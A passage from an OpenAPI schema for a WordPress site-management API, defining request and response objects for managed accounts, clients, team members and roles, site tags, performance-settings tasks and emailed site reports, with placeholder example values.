"enabled": true }, "custom_urls_optimization": { "enabled": true, "urls": [ "/landing-page" ] } } } } } }, "UpdateSitePerformanceSettingsResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a Performance settings update task starts.", "properties": { "task": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Background configuration task returned after updating Performance settings.", "properties": { "id": { "type": "string", "description": "Task ID returned by the settings update. Use it with Tasks to track progress.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" }, "status": { "type": "string", "description": "Current task status at response time.", "example": "queued" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the task was created.", "example": "2026-01-12T08:18:30Z" } } } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T08:18:30Z" } } }, "ManagedAccount": { "type": "object", "required": [ "id", "email", "role", "company_name", "status", "all_sites_access", "created_at", "updated_at" ], "description": "Managed account details for another person's account where you have access, or\nan invitation waiting for your decision.\n\nThe role and site access fields show what you can do in that account. `status`\ntells whether access is connected, pending, or rejected.\n", "properties": { "id": { "$ref": "#/components/schemas/ManagedAccountId" }, "email": { "type": "string", "format": "email", "description": "Email address of the managed account owner.", "example": "owner@example.com" }, "role": { "type": "string", "enum": [ "collaborator", "administrator", "co_owner" ], "description": "Role granted to you in the managed account.", "example": "administrator" }, "company_name": { "type": "string", "description": "Company name shown for the managed account. Blank when not provided.", "example": "Acme Inc" }, "status": { "type": "string", "enum": [ "pending", "connected", "rejected" ], "description": "Access lifecycle state. `pending` means an invitation is waiting for your\ndecision, `connected` means you have accepted access, and `rejected` is\nreturned after declining an invitation.\n", "example": "connected" }, "all_sites_access": { "type": "boolean", "description": "Whether your access covers every site in the managed account.", "example": true }, "created_at": { "type": "string", "format": "date-time", "description": "Time when this access or invitation was created.", "example": "2026-02-28T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when this access or invitation was last updated.", "example": "2026-02-28T10:05:00Z" } }, "example": { "id": "wJ8nK5xR2mL7pQ4vT6hY9bFd", "email": "owner@example.com", "role": "administrator", "company_name": "Acme Inc", "status": "connected", "all_sites_access": true, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-02-28T10:05:00Z" } }, "ListManagedAccountsRequest": { "type": "object", "required": [], "additionalProperties": true, "description": "Query parameters for finding and ordering managed accounts.", "properties": { "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number. Defaults to 1.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of items per page. Values above 100 are capped to 100.", "example": 100 }, "sort": { "$ref": "#/components/schemas/ListManagedAccountsSort" }, "filters": { "$ref": "#/components/schemas/ListManagedAccountsFilters" } } }, "ListManagedAccountsResponse": { "type": "object", "required": [ "managed_accounts", "meta" ], "description": "Managed accounts with pagination details.", "properties": { "managed_accounts": { "type": "array", "items": { "$ref": "#/components/schemas/ManagedAccount" } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } } }, "AcceptManagedAccountResponse": { "type": "object", "required": [ "managed_account" ], "description": "Managed account returned after accepting an invitation.", "properties": { "managed_account": { "$ref": "#/components/schemas/ManagedAccount" } } }, "RejectManagedAccountResponse": { "type": "object", "required": [ "managed_account" ], "description": "Invitation returned after rejecting it.", "properties": { "managed_account": { "$ref": "#/components/schemas/ManagedAccount" } } }, "Client": { "type": "object", "required": [ "id", "first_name", "last_name", "email", "company_name", "address", "note", "site_ids", "created_at", "updated_at" ], "description": "Client details for a customer or company whose WordPress sites you manage.\n\nA client includes contact details, notes, assigned site IDs, and timestamps.\nAssigned site IDs show which WordPress sites are grouped under the client;\neach site can be assigned to only one client.\n", "properties": { "id": { "$ref": "#/components/schemas/ClientId" }, "email": { "type": "string", "format": "email", "description": "Primary contact email for the client. It must be unique across clients in the account and cannot be the account owner's email.", "example": "client@example.com" }, "company_name": { "type": "string", "description": "Organization name associated with the client. Empty string means not provided.", "example": "Acme Inc" }, "first_name": { "type": "string", "description": "First name for the client contact. When a separate first name is unavailable, this contains the saved display name.", "example": "John" }, "last_name": { "type": "string", "description": "Last name for the client contact. Empty string means not provided.", "example": "Client" }, "address": { "type": "string", "description": "Postal or business address for the client. Empty string means not provided.", "example": "221B Baker Street" }, "note": { "type": "string", "description": "Private note visible to account users. Empty string means not provided. This field does not affect access.", "example": "VIP" }, "site_ids": { "type": "array", "items": { "$ref": "#/components/schemas/SiteId" }, "description": "Site IDs currently assigned to this client.", "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the client was created.", "example": "2026-01-10T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the client was last updated.", "example": "2026-01-11T10:00:00Z" } }, "example": { "id": "fT9nK3xR7mL5pQ2vW8hY6bFd", "first_name": "John", "last_name": "Client", "email": "client@example.com", "company_name": "Acme Inc", "address": "221B Baker Street", "note": "VIP", "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ], "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-11T10:00:00Z" } }, "ListClientsResponse": { "type": "object", "required": [ "clients", "meta" ], "description": "Paginated client list.", "properties": { "clients": { "type": "array", "description": "Clients returned on this page.", "items": { "$ref": "#/components/schemas/Client" } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Pagination metadata for this client list.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } } }, "CreateClientRequest": { "type": "object", "required": [ "client" ], "additionalProperties": true, "description": "Client details and optional site assignments for creating a client.", "properties": { "client": { "type": "object", "required": [ "first_name", "email" ], "additionalProperties": true, "description": "Fields for the client to create. Optional text fields must be strings when included; `null` is rejected.", "properties": { "first_name": { "type": "string", "maxLength": 255, "description": "Client first name. Must be non-blank.", "example": "New" }, "last_name": { "type": "string", "maxLength": 255, "description": "Client last name. Omit when not provided; `null` is rejected.", "example": "Client" }, "email": { "type": "string", "format": "email", "description": "Primary email address. Must be unique across all clients in your account and cannot be\nthe account owner's email.\n", "example": "new@example.com" }, "company_name": { "type": "string", "maxLength": 255, "description": "Organization name associated with the client. Omit when not provided; `null` is rejected.", "example": "New Co" }, "address": { "type": "string", "maxLength": 2000, "description": "Postal or business address for the client. Omit when not provided; `null` is rejected.", "example": "42 Main St" }, "note": { "type": "string", "maxLength": 5000, "description": "Private note visible to account users. Omit when not provided; `null` is rejected.", "example": "Priority" }, "site_ids": { "type": "array", "items": { "$ref": "#/components/schemas/SiteId" }, "description": "WordPress sites to assign to this client. Each site must be available to\nyou and not already assigned to another client. Omit to create the client\nwithout site assignments.\n", "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } } } }, "ShowClientResponse": { "type": "object", "required": [ "client" ], "description": "Requested client details.", "properties": { "client": { "$ref": "#/components/schemas/Client" } } }, "UpdateClientRequest": { "type": "object", "required": [], "additionalProperties": true, "description": "Client details and optional site assignment replacement for updating a client. Empty or omitted bodies leave the client unchanged.", "properties": { "client": { "type": "object", "required": [], "additionalProperties": true, "description": "Partial update: only supported fields included in `client` are changed.\nOmit the `client` object or send an empty object to leave the client\nunchanged.\n\n- If `first_name` is sent, it must be non-blank.\n- If `email` is sent, it must be non-blank, valid, and cannot be the account owner's email or one already used by another client.\n- Optional text fields must be strings when included; `null` is rejected.\n- Sending `site_ids` replaces the entire list of assigned sites. Send an empty array to clear assignments. Omit `site_ids` to leave assignments unchanged.\n- Each submitted site must be available to you and not already assigned to another client.\n", "properties": { "first_name": { "type": "string", "maxLength": 255, "description": "First name of the client contact. Must be non-blank when included.", "example": "Updated" }, "last_name": { "type": "string", "maxLength": 255, "description": "Last name of the client contact.", "example": "Client" }, "email": { "type": "string", "format": "email", "description": "Primary email address. Must be unique across all other clients in your account and cannot be\nthe account owner's email. Must be non-blank when included.\n", "example": "updated@example.com" }, "company_name": { "type": "string", "maxLength": 255, "description": "Organization name associated with the client.", "example": "Updated Co" }, "address": { "type": "string", "maxLength": 2000, "description": "Postal or business address for the client.", "example": "42 Updated St" }, "note": { "type": "string", "maxLength": 5000, "description": "Private note visible to account users.", "example": "Updated note" }, "site_ids": { "type": "array", "items": { "$ref": "#/components/schemas/SiteId" }, "description": "Replaces the entire list of site assignments. Each site must be available to you and not\nalready assigned to another client. Sites not included in this array will be unassigned\nfrom this client.\n", "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } } } }, "UpdateClientResponse": { "type": "object", "required": [ "client" ], "description": "Client returned after update.", "properties": { "client": { "$ref": "#/components/schemas/Client" } } }, "DeleteClientsRequest": { "type": "object", "required": [ "ids" ], "additionalProperties": true, "description": "Request payload for deleting multiple clients.", "properties": { "ids": { "type": "array", "minItems": 1, "items": { "$ref": "#/components/schemas/ClientId" }, "description": "Client IDs to remove. Blank ID values are skipped; if every value is blank,\nthe request is invalid. If the same client ID appears more than once, it is\nprocessed once.\n", "example": [ "fT9nK3xR7mL5pQ2vW8hY6bFd", "dR5mK8xN4pL9wJ3vT7hY2bFa" ] } } }, "DeleteClientsResponse": { "type": "object", "required": [ "delete", "meta" ], "description": "Delete clients result showing which processed client IDs were removed and which failed.", "properties": { "delete": { "type": "object", "required": [ "ids", "errors" ], "description": "Per-client deletion outcome for unique nonblank IDs that were processed.", "properties": { "ids": { "type": "array", "items": { "$ref": "#/components/schemas/ClientId" }, "description": "IDs of clients that were successfully removed.", "example": [ "fT9nK3xR7mL5pQ2vW8hY6bFd" ] }, "errors": { "type": "array", "description": "Client IDs that could not be deleted with the public failure reason for each item.", "items": { "type": "object", "required": [ "id", "code", "message" ], "properties": { "id": { "$ref": "#/components/schemas/ClientId" }, "code": { "type": "string", "description": "Machine-readable error code.", "example": "not_found" }, "message": { "type": "string", "description": "Human-readable explanation of why this client could not be removed.", "example": "Client not found" } } } } } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "description": "Counts summarizing the delete result.", "properties": { "requested": { "type": "integer", "description": "Number of unique nonblank client IDs processed for deletion.", "example": 2 }, "succeeded": { "type": "integer", "description": "Number of clients successfully removed.", "example": 1 }, "failed": { "type": "integer", "description": "Number of clients that could not be removed.", "example": 1 } } } } }, "TeamMember": { "type": "object", "required": [ "id", "name", "email", "role", "company_name", "status", "all_sites_access", "site_ids", "two_fa_enabled", "note", "created_at", "updated_at" ], "description": "Team member details for someone who can access your account now, or an\ninvitation still waiting for acceptance.\n\nThe role and site access fields show what the person can do after acceptance\nor while connected. `status` tells whether access is `connected` or `pending`.\n", "properties": { "id": { "$ref": "#/components/schemas/TeamMemberId" }, "name": { "type": "string", "description": "Display name shown for the team member or invitation.", "example": "Jane Doe" }, "email": { "type": "string", "description": "Email address of the member or invitee. It is set when the invitation is created and cannot be changed.", "example": "jane@example.com" }, "role": { "type": "string", "enum": [ "collaborator", "administrator", "co_owner" ], "description": "Permission level granted to the member or invitation. Role hierarchy is\n`co_owner` > `administrator` > `collaborator`.\n", "example": "administrator" }, "company_name": { "type": "string", "description": "Organization name associated with the member. Blank when not provided.", "example": "Acme Inc" }, "status": { "type": "string", "enum": [ "connected", "pending" ], "description": "Invitation lifecycle state. `pending` means the invitation has been sent but\nnot accepted. `connected` means the member can access the account.\n", "example": "connected" }, "all_sites_access": { "type": "boolean", "description": "Whether access covers every site in the account.", "example": true }, "site_ids": { "type": "array", "items": { "$ref": "#/components/schemas/SiteId" }, "description": "Site IDs included in the access. When `all_sites_access` is true, this list contains all sites available to the member.", "example": [ "9bf3c2e7a1b24c6d8e9f0123456789ab", "a4d8f2c1b6e94d0a8f73c2e5d1b9a604" ] }, "two_fa_enabled": { "type": "boolean", "description": "Whether two-factor authentication is enabled on the member's user account. Pending invitations always return `false`.", "example": true }, "note": { "type": "string", "description": "Private note visible to account users. Blank when not provided.", "example": "Primary manager" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the team member or invitation was created.", "example": "2026-02-20T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the team member or invitation was last updated.", "example": "2026-02-28T08:30:00Z" } }, "example": { "id": "hY2nK8xR5mL3pQ7vT9wJ4bFc", "name": "Jane Doe", "email": "jane@example.com", "role": "administrator", "company_name": "Acme Inc", "status": "connected", "all_sites_access": true, "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab", "a4d8f2c1b6e94d0a8f73c2e5d1b9a604" ], "two_fa_enabled": true, "note": "Primary manager", "created_at": "2026-02-20T10:00:00Z", "updated_at": "2026-02-28T08:30:00Z" } }, "ListTeamMembersResponse": { "type": "object", "required": [ "team_members", "meta" ], "description": "Paginated list of team members and pending invitations.", "properties": { "team_members": { "type": "array", "description": "Team members and pending invitations returned on this page.", "items": { "$ref": "#/components/schemas/TeamMember" } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Pagination metadata for this team member and invitation list.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } } }, "CreateTeamMemberRequest": { "type": "object", "required": [ "team_member" ], "additionalProperties": true, "description": "Invitation details and access to grant after acceptance.", "properties": { "team_member": { "type": "object", "required": [ "name", "email", "role" ], "additionalProperties": true, "description": "Invitation details, role, and site access to grant after acceptance.", "properties": { "name": { "type": "string", "maxLength": 255, "description": "Display name to show for the invitation and future team member.", "example": "Alex Smith" }, "email": { "type": "string", "description": "Email value that receives the invitation. It must be non-blank, must\nnot be the account owner's email, and must not already belong to an\nconnected team member or pending invitation.\n", "example": "alex@example.com" }, "role": { "type": "string", "enum": [ "collaborator", "administrator", "co_owner" ], "description": "Role to grant after acceptance. Hierarchy:\n`co_owner` > `administrator` > `collaborator`.\n", "example": "collaborator" }, "company_name": { "type": "string", "maxLength": 255, "description": "Organization name associated with the invited person. Omit when absent; `null` is rejected.", "example": "Acme Inc" }, "all_sites_access": { "type": "boolean", "description": "Whether access covers all sites in the account. Defaults to `false`\nfor `collaborator` and `administrator`. For `co_owner`, omitting this\nfield is treated as `true`.\n", "example": false }, "note": { "type": "string", "maxLength": 5000, "description": "Private note visible to account users. Omit when absent; `null` is rejected.", "example": "Handles SEO updates" }, "site_ids": { "type": "array", "items": { "$ref": "#/components/schemas/SiteId" }, "description": "Site IDs to grant limited access to. Must be sites in your account.\nFor `collaborator` and `administrator`, at least one site ID is required\nwhen final `all_sites_access` is `false`. Omit or send an empty array when\n`all_sites_access` is `true`. Co-owners have all-sites access and cannot\nhave limited site access.\n", "example": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } } } } }, "CreateTeamMemberResponse": { "type": "object", "required": [ "team_member" ], "description": "Pending invitation returned after creating a team member invitation.", "properties": { "team_member": { "$ref": "#/components/schemas/TeamMember" } } }, "ShowTeamMemberResponse": { "type": "object", "required": [ "team_member" ], "description": "Team member or pending invitation returned by the show operation.", "properties": { "team_member": { "$ref": "#/components/schemas/TeamMember" } } }, "UpdateTeamMemberRequest": { "type": "object", "required": [ "team_member" ], "additionalProperties": true, "description": "Fields to update for a connected team member or pending invitation.", "properties": { "team_member": { "type": "object", "required": [], "additionalProperties": true, "description": "Fields to change for the team member or invitation. Omitted fields remain\nunchanged, and the `team_member` object must contain at least one\nsupported update field.\n", "properties": { "name": { "type": "string", "maxLength": 255, "description": "Display name to show for the team member or invitation. Must be non-blank when sent.", "example": "Jane Doe" }, "email": { "type": "string", "description": "Not updatable. If provided and differs from the current value, returns `422`.\nOmit to avoid validation errors.\n" }, "role": { "type": "string", "enum": [ "collaborator", "administrator", "co_owner" ], "description": "New role to assign. Must be non-blank when sent. Hierarchy:\n`co_owner` > `administrator` > `collaborator`. Updating to `co_owner`\nwithout sending `all_sites_access` gives all-sites access.\n", "example": "co_owner" }, "company_name": { "type": "string", "maxLength": 255, "description": "Organization name associated with the team member or invitation. Omit to leave unchanged; send an empty string to clear it; `null` is rejected.", "example": "Acme Inc" }, "all_sites_access": { "type": "boolean", "description": "Whether access covers all sites. When changing the role to `co_owner`,\nomitting this field is treated as `true`.\n", "example": true }, "note": { "type": "string", "maxLength": 5000, "description": "Private note visible to account users. Omit to leave unchanged; send an empty string to clear it; `null` is rejected.", "example": "Promoted for account operations" }, "site_ids": { "type": "array", "items": { "$ref": "#/components/schemas/SiteId" }, "description": "Replaces the limited-access site list. Must be sites in your account.\nSending non-empty `site_ids` without `all_sites_access` switches a\nnon-co-owner to limited access. Send at least one site when final\n`all_sites_access` is `false`; send an empty array only when final\n`all_sites_access` is `true` or the role is `co_owner`.\n", "example": [ "9bf3c2e7a1b24c6d8e9f0123456789ab", "a4d8f2c1b6e94d0a8f73c2e5d1b9a604" ] } } } } }, "UpdateTeamMemberResponse": { "type": "object", "required": [ "team_member" ], "description": "Updated team member or pending invitation.", "properties": { "team_member": { "$ref": "#/components/schemas/TeamMember" } } }, "ResendInvitationTeamMemberRequest": { "type": "object", "required": [ "team_member_id" ], "description": "Path parameters for resending a pending invitation.", "properties": { "team_member_id": { "$ref": "#/components/schemas/TeamMemberId" } } }, "ResendInvitationTeamMemberResponse": { "type": "object", "required": [ "team_member" ], "description": "New pending invitation returned after resending.", "properties": { "team_member": { "$ref": "#/components/schemas/TeamMember" } } }, "Tag": { "type": "object", "required": [ "id", "name", "color", "created_at", "updated_at", "site_ids" ], "description": "Tag details for a label that groups WordPress sites.\n\nA tag includes a display name, color, assigned site IDs, and timestamps.\nAssigned site IDs are limited to sites available to you.\n", "properties": { "id": { "$ref": "#/components/schemas/TagId" }, "name": { "type": "string", "description": "Display name for the tag. Tag names are unique within your account.", "example": "Production" }, "color": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Display color in `#RRGGBB` format. Older tags may have no color and return `null`.", "example": "#00ff00" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the tag was created.", "example": "2026-01-10T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the tag was last updated.", "example": "2026-01-11T10:00:00Z" }, "site_ids": { "type": "array", "items": { "$ref": "#/components/schemas/SiteId" }, "description": "Site IDs available to you where this tag is assigned.", "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } }, "example": { "id": "428", "name": "Production", "color": "#00ff00", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-11T10:00:00Z", "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } }, "ListTagsRequest": { "type": "object", "required": [], "additionalProperties": true, "description": "Query parameters for finding and ordering tags.", "properties": { "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number. Defaults to 1.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of items per page. Values above 100 are capped to 100.", "example": 100 }, "sort": { "$ref": "#/components/schemas/ListTagsSort" }, "filters": { "$ref": "#/components/schemas/ListTagsFilters" } } }, "ListTagsResponse": { "type": "object", "required": [ "tags", "meta" ], "description": "Paginated response envelope for tags.", "properties": { "tags": { "type": "array", "description": "Tags on this page.", "items": { "$ref": "#/components/schemas/Tag" } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Pagination metadata for this list response.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } } }, "CreateTagRequest": { "type": "object", "required": [ "tag" ], "additionalProperties": true, "description": "Request body for creating a tag. The body must be wrapped in `tag`.", "properties": { "tag": { "type": "object", "required": [ "name", "color" ], "additionalProperties": true, "description": "Tag fields to create. `name` and `color` are required.", "properties": { "name": { "type": "string", "description": "Display name for the tag. Must be a nonblank string and unique in your account.", "example": "Production" }, "color": { "type": "string", "pattern": "^#[0-9A-Fa-f]{6}$", "description": "Display color in six-digit `#RRGGBB` format. Must be a string; `null` and blank values are rejected.", "example": "#00ff00" } } } } }, "CreateTagResponse": { "type": "object", "required": [ "tag" ], "description": "Response envelope for the created tag.", "properties": { "tag": { "$ref": "#/components/schemas/Tag" } } }, "ShowTagResponse": { "type": "object", "required": [ "tag" ], "description": "Response envelope for a tag.", "properties": { "tag": { "$ref": "#/components/schemas/Tag" } } }, "UpdateTagRequest": { "type": "object", "required": [ "tag" ], "additionalProperties": true, "description": "Request body for updating a tag. The body must be wrapped in `tag`.", "properties": { "tag": { "type": "object", "required": [], "additionalProperties": true, "description": "Fields to update. Include `name`, `color`, or both; omitted fields remain unchanged.", "anyOf": [ { "required": [ "name" ] }, { "required": [ "color" ] } ], "properties": { "name": { "type": "string", "description": "New display name for the tag. Omit to leave the name unchanged; `null` and blank values are rejected.", "example": "Staging" }, "color": { "type": "string", "pattern": "^#[0-9A-Fa-f]{6}$", "description": "New display color in six-digit `#RRGGBB` format. Omit to leave the color unchanged; `null` and blank values are rejected.", "example": "#ff9900" } } } } }, "UpdateTagResponse": { "type": "object", "required": [ "tag" ], "description": "Response envelope for the updated tag.", "properties": { "tag": { "$ref": "#/components/schemas/Tag" } } }, "DeleteTagRequest": { "type": "object", "required": [ "tag_id" ], "description": "Path parameters for selecting a tag to delete.", "properties": { "tag_id": { "$ref": "#/components/schemas/TagId" } } }, "AssignTagRequest": { "type": "object", "required": [ "site_ids" ], "additionalProperties": true, "description": "Site IDs where the selected tag should be assigned.", "properties": { "site_ids": { "type": "array", "minItems": 1, "items": { "$ref": "#/components/schemas/SiteId" }, "description": "Site IDs available to you where the tag should be assigned. Must be a non-empty array.", "example": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } }, "example": { "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } }, "AssignTagResponse": { "type": "object", "required": [ "assign", "meta" ], "description": "Result of assigning a tag to sites.", "properties": { "assign": { "type": "object", "required": [ "site_ids", "errors" ], "properties": { "site_ids": { "type": "array", "items": { "$ref": "#/components/schemas/SiteId" }, "description": "Site IDs where assignment was processed.", "example": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] }, "errors": { "type": "array", "description": "Site-level assignment failures.", "items": { "type": "object", "required": [ "site_id", "code", "message" ], "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "code": { "type": "string", "enum": [ "tag_limit_reached" ], "description": "Site-level failure code.", "example": "tag_limit_reached" }, "message": { "type": "string", "description": "Human-readable site-level failure message.", "example": "Site has reached the tag limit" } } }, "example": [] } } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "properties": { "requested": { "type": "integer", "description": "Number of unique submitted site IDs processed after validation.", "example": 2 }, "succeeded": { "type": "integer", "description": "Number of sites where assignment was processed successfully.", "example": 2 }, "failed": { "type": "integer", "description": "Number of sites with site-level assignment errors.", "example": 0 } } } } }, "RemoveTagRequest": { "type": "object", "required": [ "site_ids" ], "additionalProperties": true, "description": "Site IDs where the selected tag should be removed.", "properties": { "site_ids": { "type": "array", "minItems": 1, "items": { "$ref": "#/components/schemas/SiteId" }, "description": "Site IDs available to you where the tag should be removed. Must be a non-empty array.", "example": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } }, "example": { "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } }, "RemoveTagResponse": { "type": "object", "required": [ "remove", "meta" ], "description": "Result of removing a tag from sites.", "properties": { "remove": { "type": "object", "required": [ "site_ids", "errors" ], "properties": { "site_ids": { "type": "array", "items": { "$ref": "#/components/schemas/SiteId" }, "description": "Site IDs where tag removal was processed.", "example": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] }, "errors": { "type": "array", "description": "Site-level removal failures.", "items": { "type": "object" }, "example": [] } } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "properties": { "requested": { "type": "integer", "description": "Number of unique submitted site IDs processed after validation.", "example": 1 }, "succeeded": { "type": "integer", "description": "Number of sites where removal was processed successfully.", "example": 1 }, "failed": { "type": "integer", "description": "Number of sites with site-level removal errors.", "example": 0 } } } } }, "Report": { "type": "object", "required": [ "id", "site", "title", "type", "client", "start_date", "end_date", "created_at", "email" ], "description": "Generated report for a WordPress site available to you.", "properties": { "id": { "$ref": "#/components/schemas/ReportId" }, "site": { "type": "object", "required": [ "id", "title", "url" ], "description": "Site associated with the report.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "title": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Site title at response time.", "example": "Example Site" }, "url": { "type": "string", "format": "uri", "description": "Site URL.", "example": "https://reports.example.com" } } }, "title": { "type": "string", "description": "Report title returned for your account.", "example": "Website report" }, "type": { "type": "string", "enum": [ "one_time", "scheduled" ], "description": "Whether the report was generated once or from a schedule.", "example": "one_time" }, "client": { "oneOf": [ { "type": "object", "required": [ "id", "name", "email" ], "properties": { "id": { "$ref": "#/components/schemas/ClientId" }, "name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Client name.", "example": "John Client" }, "email": { "oneOf": [ { "type": "string", "format": "email" }, { "type": "null" } ], "description": "Client email address.", "example": "client@example.com" } } }, { "type": "null" } ], "description": "Client associated with the report, when one exists." }, "start_date": { "type": "string", "format": "date", "description": "Report period start date.", "example": "2026-01-01" }, "end_date": { "type": "string", "format": "date", "description": "Report period end date.", "example": "2026-01-31" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the report was created.", "example": "2026-02-01T12:00:00Z" }, "email": { "type": "object", "required": [ "subject", "body", "attach_pdf", "sender_email", "recipients" ], "description": "Email settings and latest recipient delivery states for the report.", "properties": { "subject": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Email subject stored with the report.", "example": "Website report" }, "body": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Email body stored with the report.", "example": "Report body" }, "attach_pdf": { "type": "boolean", "description": "Whether the report email is configured to attach the PDF.", "example": true }, "sender_email": { "oneOf": [ { "type": "object", "required": [ "id", "email" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" }, "email": { "type": "string", "format": "email", "description": "Sender email address.", "example": "sender@example.com" } } }, { "type": "null" } ], "description": "Custom sender email used for the report, or null when the standard sender was used." }, "recipients": { "type": "array", "description": "Latest delivery state for each known recipient.", "items": { "type": "object", "required": [ "email", "status", "sent_at", "delivered_at", "opened_at" ], "properties": { "email": { "type": "string", "format": "email", "description": "Recipient email address.", "example": "client@example.com" }, "status": { "type": "string", "enum": [ "sent", "delivered", "opened", "failed", "bounced", "spam" ], "description": "Normalized recipient delivery status.", "example": "delivered" }, "sent_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the report email was sent, when available.", "example": "2026-01-02T00:00:00Z" }, "delivered_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the report email was delivered, when available.", "example": "2026-01-02T00:05:00Z" }, "opened_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the report email was opened, when available.", "example": null } } } } } } }, "example": { "id": "hT5bWx8nKq3mJr6vGs9fYd2a", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://reports.example.com" }, "title": "Website report", "type": "one_time", "client": { "id": "jT7nK2xR8mL4pQ9vW5hY3bFe", "name": "John Client", "email": "client@example.com" }, "start_date": "2026-01-01", "end_date": "2026-01-31", "created_at": "2026-02-01T12:00:00Z", "email": { "subject": "Website report", "body": "Report body", "attach_pdf": false, "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "sender@example.com" }, "recipients": [ { "email": "client@example.com", "status": "delivered", "sent_at": "2026-01-02T00:00:00Z", "delivered_at": "2026-01-02T00:05:00Z", "opened_at": null } ] } } }, "ListReportsRequest": { "type": "object", "required": [], "additionalProperties": true, "description": "Query parameters for finding and ordering reports.", "properties": { "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number. Defaults to 1.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of items per page. Values above 100 are capped to 100.", "example": 100 }, "sort": { "$ref": "#/components/schemas/ListReportsSort" }, "filters": { "$ref": "#/components/schemas/ListReportsFilters" } } }, "ListReportsResponse": { "type": "object", "required": [ "reports", "meta" ], "description": "Paginated response envelope for reports.", "properties": { "reports": { "type": "array", "description": "Reports on this page.", "items": { "$ref": "#/components/schemas/Report" } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Pagination metadata for this list response.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "reports": [ { "id": "hT5bWx8nKq3mJr6vGs9fYd2a", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://reports.example.com" }, "title": "Website report", "type": "one_time", "client": { "id": "jT7nK2xR8mL4pQ9vW5hY3bFe", "name": "John Client", "email": "client@example.com" }, "start_date": "2026-01-01", "end_date": "2026-01-31", "created_at": "2026-02-01T12:00:00Z", "email": { "subject": "Website report", "body": "Report body", "attach_pdf": false, "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "sender@example.com" }, "recipients": [ { "email": "client@example.com", "status": "delivered", "sent_at": "2026-01-02T00:00:00Z", "delivered_at": "2026-01-02T00:05:00Z", "opened_at": null } ] } }, { "id": "kP8mVx3nQq7rLd2sGt5fYa9b", "site": { "id": "0af3c2e7a1b24c6d8e9f0123456789cd", "title": "Store Site", "url": "https://store.example.com" }, "title": "Monthly report", "type": "scheduled", "client": null, "start_date": "2026-02-01", "end_date": "2026-02-28", "created_at": "2026-03-01T12:00:00Z", "email": { "subject": "Monthly report", "body": null, "attach_pdf": true, "sender_email": null, "recipients": [] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "CreateReportRequest": { "type": "object", 